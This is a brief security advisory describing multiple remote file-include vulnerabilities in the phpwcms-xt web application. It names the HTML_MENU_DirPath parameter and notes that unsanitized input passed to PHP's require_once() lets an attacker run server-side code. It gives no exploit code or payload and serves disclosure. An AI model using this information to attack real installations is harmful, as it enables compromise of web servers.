phpwcms-xt HTML_MENU_DirPath Multiple Remote File Include Vulnerabilities

The 'phpwcms-xt' application is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input before using it in a PHP 'require_once()' function call.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process.
